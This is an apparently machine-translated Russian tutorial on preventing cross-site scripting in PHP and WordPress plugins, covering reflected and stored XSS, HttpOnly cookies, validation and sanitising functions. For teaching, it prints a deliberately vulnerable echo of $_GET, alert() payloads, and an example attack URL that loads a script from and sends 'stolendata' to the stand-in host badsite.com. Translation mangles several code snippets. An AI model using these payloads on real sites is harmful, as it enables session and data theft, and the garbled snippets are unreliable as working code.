Статьи

Как предотвратить межсайтовые скриптовые атаки

  1. Что такое уязвимость XSS?
  2. Почему нефильтрованная продукция опасна?
  3. Что такое флаг HttpOnly и почему это важно?
  4. Что такое уязвимость отраженного XSS?
  5. Хранимые (или постоянные) уязвимости XSS
  6. Как безопасно использовать регулярные выражения для проверки
  7. Функции для побега и дезинфекции ваших данных
  8. Встроенные функции очистки и очистки PHP
  9. WordPress API Функции санации
  10. WordPress API Escape-функции
  11. Функция wp_kses ()
  12. Заключение

Уязвимости межсайтового скриптинга являются наиболее распространенной уязвимостью, обнаруживаемой в плагинах WordPress со значительным отрывом. В результате проведенного нами анализа 1599 уязвимостей плагина WordPress за 14 месяцев мы обнаружили следующее распределение:

Как видно из рисунка выше, если вы сможете полностью понять и устранить только уязвимости XSS в своем PHP-коде, вы будете писать на 47% меньше уязвимостей Как видно из рисунка выше, если вы сможете полностью понять и устранить только уязвимости XSS в своем PHP-коде, вы будете писать на 47% меньше уязвимостей. Итак, давайте потратим некоторое время на обсуждение XSS, что это такое, как он используется и как предотвратить уязвимости XSS.

Что такое уязвимость XSS?

Уязвимости XSS невероятно легко написать. Фактически, если вы просто пишете PHP интуитивно понятным образом, вы почти наверняка напишите в своем коде уязвимость XSS. К счастью, уязвимости XSS также очень легко распознать.

echo "Введенное вами значение:". $ _GET [ 'Вал'];

Это классическая уязвимость XSS. Если вы включите этот код в плагин WordPress, опубликуете его и ваш плагин станет популярным, вы можете не сомневаться, что аналитик по безопасности в какой-то момент свяжется с вами и сообщит об этой уязвимости. Вам придется исправить это, и аналитик публично раскроет это, оставив вас немного смущенным, но с более безопасным приложением.

Так почему же это уязвимость XSS? Как работает приведенный выше код, он получает значение из URL-адреса и записывает его обратно в браузер без проверки и без фильтрации. Если ваше приложение размещено по адресу https://example.com/test.php, посетитель сайта может посетить следующий URL:

https://example.com/test.php?val=123

Затем они увидят: «Введенное вами значение: 123» выводится в их браузер. Вероятно, способ, которым приложение было разработано, чтобы работать.

Если кто-то посещает следующий URL:

https://example.com/test.php?val=<script>alert( 'Доказательство того, что это XSS'); </ script>

В браузере они увидят следующее: «Введенное вами значение:», а также появится всплывающее окно с предупреждением «Доказательство того, что это XSS».

Почему нефильтрованная продукция опасна?

Демонстрация, показывающая окно с предупреждением, не кажется большой угрозой. Если вы не до конца понимаете влияние уязвимости XSS и кто-то сообщает вам об этой проблеме с помощью поля alert () в качестве демонстрации этой уязвимости, вы можете быть склонны не принимать его всерьез. Как доказательство того, что вы можете выполнить javascript, может быть доказательством серьезной проблемы безопасности?

Когда аналитик отправляет вам окно alert () в качестве доказательства уязвимости безопасности, он показывает, что может выполнить произвольный код JavaScript в браузере. На самом деле они демонстрируют, что, отправляя этот URL кому-то еще, они могут заставить другого человека выполнить произвольный JavaScript в браузере.

Одна версия эксплойта может выглядеть примерно так:

https://example.com/test.php?val=<script src = ”http://badsite.com/badscript.js”> </ script>

Злоумышленник отправит эту ссылку жертве. Шаги следующие:

  • Жертва переходит по ссылке и заходит на сайт. Предположим, они уже вошли на веб-сайт с правами администратора.
  • Ссылка и уязвимость XSS приводят к загрузке сценария с внешнего веб-сайта на целевую веб-страницу.
  • Сценарий будет иметь полный доступ к среде DOM браузера, включая любые файлы cookie HTTP, не защищенные флагом HttpOnly.
  • Скрипт выполняет вредоносное действие как зарегистрированный пользователь. Он также крадет данные с веб-сайта, доступного для вошедшего в систему пользователя (например, личные сообщения, полученные пользователем), и отправляет их злоумышленнику. Данные могут быть отправлены различными способами, но одним из способов может быть загрузка изображения с внешнего сайта: http://badsite.com/badPretendImage.jpg?stolendata=secretDataValues. На самом деле badPretendImage.jpg - это скрипт, который обслуживает изображение, но также хранит все полученные данные.

Это основной механизм использования уязвимости XSS: злоумышленник находит способ заставить жертву загрузить свой javascript с помощью уязвимости XSS на веб-сайте. Они используют это для кражи данных из браузеров.

В приведенном выше примере мы загрузили на страницу внешний файл javascript. Уязвимости XSS различаются, и для конкретной уязвимости может быть нецелесообразно включать теги <SCRIPT>, которые загружают весь внешний сценарий. Если это не сработает, то может сработать добавление javascript непосредственно в эксплойт, который выполняется и выполняет некоторые вредоносные действия.

Что такое флаг HttpOnly и почему это важно?

До версии 6SP1 Internet Explorer файлы cookie были доступны как для веб-серверов, когда браузер делал запрос, так и для JavaScript. Другими словами, скрипт, работающий в браузере на определенном веб-сайте, может просто прочитать все куки-файлы, установленные веб-сайтом.

Это дало разработчикам большую гибкость, но также позволило вредоносным сценариям считывать значения файлов cookie и отправлять их в любое место в Интернете. Если злоумышленник сможет использовать уязвимость XSS, первое, что он сделает, - украдет все файлы cookie, которые сможет прочитать. Это позволило бы им получить мгновенный доступ к веб-сайтам на административном уровне, если жертва была зарегистрирована на целевом веб-сайте в качестве администратора.

В 2002 году Microsoft выпустила функцию с пакетом обновления 1 (SP1) для Internet Explorer, которая предоставляла дополнительный специальный флаг, который можно установить при установке файла cookie. Этот флаг называется HttpOnly, и в нем указано, что любые файлы cookie, включающие флаг HttpOnly, не должны быть доступны для чтения с помощью javascript и должны отправляться только на веб-сервер, который устанавливает файлы cookie через HTTP. Отсюда и название «HttpOnly». Эта функция была быстро принята другими поставщиками браузеров, потому что преимущества безопасности были очевидны. Этот флаг предоставил надежный способ защиты конфиденциальных файлов cookie от атак XSS. Сегодня все основные поставщики браузеров поддерживают флаг HttpOnly.

WordPress также использует флаг HttpOnly для защиты файлов cookie, что предотвращает кражу чувствительных файлов cookie злоумышленником, использующим уязвимость XSS.

Совет: Смена пароля пользователя WordPress немедленно делает их куки недействительными. Это может быть использовано для выхода пользователя из системы в случае предполагаемого нарушения.

Что такое уязвимость отраженного XSS?

То, что мы обсуждали выше, является отраженной уязвимостью XSS. Отраженная атака XSS обычно представляет собой ссылку, содержащую вредоносный код. Когда кто-то нажимает на эту ссылку, он попадает на уязвимый веб-сайт, и этот вредоносный код «отражается» обратно в браузер, чтобы выполнить какое-либо вредоносное действие.

Отраженные XSS-атаки гораздо менее опасны, чем хранимые XSS-уязвимости (см. Ниже) по нескольким причинам:

Отраженные атаки XSS полагаются на то, что жертва совершает какое-то действие, посредством которого они посещают целевой веб-сайт и заставляют его генерировать контент, который выполняет вредоносное действие в своем браузере. Это делает отраженные атаки XSS очень трудными или иногда невозможными для автоматизации. На каждую жертву должен быть нацелен индивидуальный адрес электронной почты или какой-либо другой контент, содержащий вредоносную ссылку, по которой они должны щелкнуть, чтобы попасть в атаку.

Хранимые (или постоянные) уязвимости XSS


Хранимая XSS-атака намного опаснее по двум причинам.

Во-первых, хранимая XSS-атака может быть автоматизирована. Можно создать сценарий, который посещает тысячи веб-сайтов, использует уязвимости на каждом сайте и удаляет сохраненную полезную нагрузку XSS.

Во-вторых, жертвы в сохраненной XSS-атаке не должны предпринимать никаких действий, кроме посещения зараженного веб-сайта. Любой, кто посещает уязвимую страницу на сайте, станет жертвой, потому что сохраненный вредоносный код будет загружен в их браузер. Жертвы не должны предпринимать дополнительных действий, например, щелкнув ссылку по электронной почте, чтобы быть затронутыми.

Хранимая XSS-атака происходит, когда злоумышленник отправляет вредоносные данные на веб-сайт, который хранится в базе данных или каком-либо другом механизме хранения. Затем, когда другие посетители сайта посещают страницу или определенный URL, им предоставляются те данные, которые выполняются и выполняют какие-то вредоносные действия.

Давайте посмотрим на пример:

Приведенный выше код является очень простым приложением гостевой книги. Это также классический пример хранимой уязвимости XSS. Когда вы загрузите это приложение, вы увидите форму с просьбой подписать гостевую книгу, которая выглядит следующим образом:

Как только вы подпишете гостевую книгу несколько раз, вы увидите что-то вроде этого:

Если вы введете некоторый JavaScript в текстовое поле подписи, которое выполняет окно предупреждения, вы увидите это:

Здесь произошло то, что гость ввел некоторый javascript в поле «Sign it», которое выглядит так:

<script> оповещение ('XSS Expoit работал'); </ script>

Javascript был сохранен и теперь предоставляется каждому посетителю страницы гостевой книги. Это хранимая XSS-уязвимость, которая имеет гораздо большее влияние, чем отраженная XSS-уязвимость. Его можно использовать для кражи данных от каждого посетителя на затронутую страницу, а не только от посетителей, которые нажимают на специально созданную ссылку. По этой причине хранимые уязвимости XSS гораздо серьезнее, чем отраженные XSS.

Устранить эту уязвимость легко, проверив ввод, очистив и избежав вывода. Давайте применим это к этому сценарию. Просмотрите изменения ниже.

Просмотрите изменения ниже

Как вы можете видеть в приведенном выше примере, мы проверяем данные с помощью регулярного выражения. Теперь мы разрешаем только небольшое подмножество символов в гостевой книге. Несмотря на то, что мы не разрешаем теги HTML, мы запускаем данные через функцию PHP filter_var () с фильтром FILTER_SANITIZE_STRING, чтобы очистить строку, которая удалит любые теги, которые могут проскальзывать из-за ошибки в нашем коде. FILTER_SANITIZE_STRING фактически удаляет все найденные теги.

Затем, когда мы выводим каждую запись в гостевую книгу, мы используем filter_var с фильтром FILTER_SANITIZE_FULL_SPECIAL_CHARS, который не удаляет теги, но экранирует их, если они присутствуют. Таким образом, в приведенном выше примере мы проверяем и очищаем входные данные и экранируем выходные данные. Это обеспечивает достаточную защиту от сохраненного XSS в случае гостевой книги.

Еще одно примечание к приведенному выше коду: вы, вероятно, заметили несколько других вещей, которые мы могли бы сделать более безопасными. Например, мы храним нашу гостевую книгу в файле, который находится в папке, доступной через Интернет. Это означает, что необработанные данные доступны для чтения публике. Это само по себе нежелательно, и предоставление злоумышленнику доступа для чтения к файлу, который не предназначен для общего пользования, может создать дополнительные уязвимости. Один из способов решить эту проблему - создать файл данных, но дать ему расширение PHP. Затем сделайте, чтобы первая строка файла содержала следующее:

<? php die («Здесь нечего видеть!»); ?>

Когда вы пишете в файл, убедитесь, что первая строка остается без изменений. Когда вы читаете файл, всегда отбрасывайте первую строку. Сохраните файл с расширением .php, например data.php. Затем, если злоумышленник попытается получить доступ к файлу, веб-сервер будет рассматривать его как исполняемый файл PHP и немедленно завершит работу.

Проверка в программировании - это когда вы проверяете, что данные, полученные вашим приложением, находятся в пределах ограничений, которые вы определяете, чтобы убедиться, что они не содержат ничего необоснованного, ненужного или злонамеренного. Валидация не является заменой дезинфекции или экранирования , потому что, как мы увидим (в разделе обсуждаемого filter_var () ниже), вредоносные данные могут пройти через некоторые функции проверки.

Ограничения, которые вы будете использовать, различаются, но часто они аналогичны ограничениям, используемым в строго типизированном языке. Например, вы можете использовать некоторые из следующих проверок:

  • Является ли данные целым числом? (Только от 0 до 9 цифр)
  • Являются ли данные плавающей точкой с разрешенной десятичной точкой. (От 0 до 9 и. Символ)
  • Номера данных и тире, например, поле даты кредитной карты.
  • Является ли data строкой только с цифрами, буквами, пробелами и пунктуацией.
  • Является ли данные одним из ограниченного числа опций, которые могут быть выбраны, например, 'option1', 'option2', 'option3'

Во время проверки, если вы отклоняете данные, вы часто возвращаете пользователю ошибку, описывающую проблему и запрашивающую правильные данные.

Ниже мы включили функции, которые часто используются разработчиками PHP для проверки достоверности данных, полученных приложением (для проверки данных). Они обычно используются в операторе if () для проверки правильности данных, а если нет, приложение возвращает ошибку пользователю.

Функция Что делает Пример is_numeric () Проверяет, соответствуют ли данные от 0 до 9 с необязательным знаком и необязательной десятичной точкой. is_numeric ($ input) вернет true, если $ input == '-9.123' preg_match () Проверяет, соответствуют ли данные регулярному выражению. preg_match ('/ ^ [az] {2,3} $ /', $ input) возвращает true, если $ input состоит из строчных букв длиной 2 или 3 символа. Обратите внимание на ^ и $ в регулярном выражении. filter_var () Тест, если данные соответствуют встроенному фильтру PHP. filter_var ($ input, FILTER_VALIDATE_EMAIL) проверяет, является ли $ input действительным адресом электронной почты. Другими полезными фильтрами являются FILTER_VALIDATE_IP, FILTER_VALIDATE_URL, FILTER_VALIDATE_BOOLEAN. Вы можете найти больше фильтров здесь. in_array () Проверяет, является ли данные одним из диапазона допустимых значений. in_array ($ input, array ('Windows', 'Linux', 'OSX', 'Other')) вернет true, если $ input содержит одно из допустимых значений. Отлично подходит для полей <select> и переключателей на веб-формах.

Как безопасно использовать регулярные выражения для проверки

При использовании регулярных выражений с preg_match () для проверки данных убедитесь, что вы сопоставляете всю строку, используя символ вставки ^ в начале вашего регулярного выражения и знак доллара $ в конце. Они соответствуют началу и концу строки и гарантируют, что вы не просто проверяете что-то в середине ввода, но проверяете всю строку. Отказ от этих действий создает серьезную проблему безопасности, потому что злоумышленник может добавить некоторые достоверные данные, которые пройдут ваш тест, но добавить или добавить что-либо вредоносное по своему усмотрению.

Использование filter_var () для проверки не заменяет очистку или экранирование.

В общем, функция filter_var () используется для проверки данных по мере их поступления в ваше приложение:

if ($ test = filter_var ('[email protected] ', FILTER_VALIDATE_EMAIL)) {echo "Получено: $ test \ n"; }

Если вы замените указанный выше адрес электронной почты на «[email protected] <script>», вы увидите, что проверка завершилась неудачно и оператор echo не выполнен.

Рассмотрим следующий пример, который демонстрирует, как вредоносные данные могут пройти этап проверки. Это показывает, что валидация не заменяет дезинфекцию и экранирование на выходе.

if ($ test = filter_var ('http://example.com/? "> <script> alert (" XSS ") </ script> <a"', FILTER_VALIDATE_URL)) {echo "Получено: $ test \ n" ; }

Пример выше выведет следующее:

Получено: http://example.com/?"><script>alert("XSS")</script><a "

Это создает уязвимость XSS, если этот вывод не очищен и не экранирован. Изменение кода следующим образом устранит уязвимость XSS:

if ($ test = filter_var ('http://example.com/? "> <script> alert (" XSS ") </ script> <a"', FILTER_VALIDATE_URL)) {echo "Received:". esc_url ($ test). "\ П"; }

Приведенный выше код выведет следующее, что безопасно:

Получено: http://example.com/?scriptalert(XSS)/scripta

Ниже приведена более подробная информация о функциях, которые вы можете использовать для экранирования и очистки.

Функции для побега и дезинфекции ваших данных

Когда вы будете готовы вывести данные обратно в веб-браузер посетителя, в файл, в сеть или в другое место, где данные покидают ваше приложение, вам необходимо убедиться, что выводимые вами данные в безопасности. PHP и WordPress предоставляют множество функций, которые экранируют и / или очищают ваши данные. Важно отметить, что эти функции изменят ваши данные в случае необходимости, чтобы сделать их безопасными.

Встроенные функции очистки и очистки PHP

Следующие функции встроены в PHP, и вы можете использовать их независимо от того, запускаете ли вы свое приложение в среде WordPress. Вы заметите, что мы предоставляем несколько примеров filter_var (). Это новый стандарт в очистке PHP и включен по умолчанию с PHP начиная с версии 5.2 PHP. Мы рекомендуем использовать filter_var () вместо старых функций PHP.

Функция Выход Описание intval ('123AA456') 123 Очистить целые числа. [ документы ] filter_var ('mark <script> @ example.com', FILTER_SANITIZE_EMAIL) [email protected] Очистить электронную почту. [ документы ] filter_var ('Тестирование <тегов> и символов), FILTER_SANITIZE_SPECIAL_CHARS) Тестирование & # 60; тегов & # 62; & # 38; символы. Кодировать специальные символы. [ документы ] filter_var ('Strip <tag> & encode.', FILTER_SANITIZE_STRING); Раздень и закодируй. Удалить теги. [ документы ] filter_var ('Strip <tag> & encode.', FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_LOW | FILTER_FLAG_ENCODE_HIGH | FILTER_FLAG_ENCODE_AMP) Strip & # 38; закодировать. Удалите теги с дополнительными флагами кодирования. [ документы ]

WordPress API Функции санации

WordPress включает в себя ряд функций очистки, которые предназначены для конкретных случаев использования. Ниже мы приводим примеры использования, которые дают вам представление о том, как данные изменяются этими функциями.

Функция Выход Описание absint ('- 123ABC') 123 Дезинфицирует натуральные числа. [ документы ] sanitize_email («! # $% ^ & * () __ + = - {} | \] [: \» \ '; <>? /., [email protected] »)! # $% ^ & * __ +=-ndomtially|'?/[email protected] Очистить адреса электронной почты. [ документы ] sanitize_file_name ('.-_ / path / to / file – name.txt'); pathtofile-name.txt Очистить имена файлов. [ документы ] sanitize_html_class ('class! @ # $% ^ & * () - name_here.'); class-name_here Очистить имена классов CSS. [ документы ] sanitize_key ('KeY-Name! @ # $% ^ & * () <>,.? /'); key-name Санитизировать ключи для ассоциативных массивов. [ документы ] sanitize_mime_type ('text / plain-blah! @ # $% ^ & * ()} {[] ”:;> <,.? /'); text / plain-blah *. / Дезинфицировать типы пантомимы. [ документы ] sanitize_option ('thumbnail_size_h', '123ABC-_'); 123 Дезинфицировать WP вариант. Тип фильтрации зависит от имени опции. [ документы ] sanitize_sql_orderby ('colName'); colName Очистить имя столбца, используемого в SQL 'order by'. Возвращает пустое значение, если найдены неверные символы. [ документы ] sanitize_text_field ('<tag> некоторый текст </ tag>') некоторый текст Проверяет недопустимый UTF-8, конвертирует одиночные символы <в сущность, удаляет все теги, удаляет разрывы строк, табуляции и лишние пробелы, удаляет октеты. [ документы ] sanitize_title ('<tag> <? php // blah?> Заголовок здесь'); title-here Превращает текст в заголовок в стиле slug для использования в URL. [ документы ] sanitize_user ('<tag> 123ABCdef _.-*@name!#$', true); 123ABCdef _ .- @ name Очистить имена пользователей WP. Второй параметр обеспечивает строгую санитарную обработку. [ документы ]

WordPress API Escape-функции

WordPress также включает экранирующие функции для общего пользования. Мы включили основные функции ниже с примерами ввода и вывода, чтобы проиллюстрировать их использование.

Функция Вывод комментариев esc_html ('<tag> & text'); & Lt; & тег GT; & Амп; текст Escape HTML для безопасного вывода из браузера. [ документы ] esc_url ('http://example.com/
<Скрипт> оповещения ( «TEST»); </ скрипт> '); http://example.com/
scriptalert (TEST); / script Escape-URL, чтобы сделать их безопасными для вывода в виде текстовых или HTML-атрибутов. [ документы ] esc_js ('alert («1»);'); оповещение (& Quot; 1 & Quot;); Избегает JavaScript, чтобы сделать его безопасным для использования встроенного HTML, например, в обработчике onclick. [ документы ] esc_attr ('attr - <> & \' ”name '); attr- & lt; & amp; & # 039; "name" Используется для экранирования атрибутов HTML, например alt, title, value и т. д. [ документы ] esc_textarea ('Text <tag> & text'); Текст & lt; tag & gt; & Амп; text Удалить текст для вывода в элементе <textarea>. [ документы ]

Функция wp_kses ()

wp_kses () это более сложная функция очистки. Это лишает злые сценарии. Отсюда и название: «Kses снимает злые сценарии». Когда вы используете wp_kses (), вам нужно будет включить массив тегов и разрешенные атрибуты для каждого тега в качестве второго параметра для kses. Вот пример:

$ allow = array ('a' => array ('href' => array (), 'title' => array ()), 'br' => array (), 'em' => array (), ' strong '=> array (),); echo wp_kses ($ output, $ позволено);

Выше будет разрешен тег «A» с атрибутами «href» и «title». Это также позволит использовать следующие теги без атрибутов: br, em и strong. Если атрибуты включены в эти теги, они будут удалены.

wp_kses () очень загружает процессор, потому что код сложен. В общем, мы рекомендуем сначала попытаться использовать встроенные функции PHP, потому что они самые быстрые, затем более простые функции очистки и экранирования WordPress, а затем использовать только wp_kses (), если необходимо. Это даст вам лучшую производительность для вашего плагина или темы.

Заключение

Следуя основным рекомендациям на этой странице, вы можете избежать наиболее распространенных уязвимостей, которые вводятся в код. В целом, затрачивая время на проверку входных данных, очистку выходных данных и их экранирование, вы обеспечите безопасность своего приложения.

Выбирая функции для санации и экранирования, выберите функцию, которая наиболее соответствует вашему конкретному варианту использования. Если вы выводите данные в атрибут HTML, используйте функцию очистки или экранирования, специфичную для атрибутов HTML. Это даст вам наилучшее сочетание производительности и безопасности приложений.

Если вам удастся избежать XSS-уязвимостей и защитить выходные данные своего приложения, вы избежите почти половины всех уязвимостей, которые могут быть внедрены в ваше приложение.

Дальнейшее чтение

Что такое уязвимость XSS?
Почему нефильтрованная продукция опасна?
Что такое флаг HttpOnly и почему это важно?
Что такое уязвимость отраженного XSS?
Что такое уязвимость XSS?
Так почему же это уязвимость XSS?
Php?
Php?
Почему нефильтрованная продукция опасна?
Как доказательство того, что вы можете выполнить javascript, может быть доказательством серьезной проблемы безопасности?
2011.11.19
Карта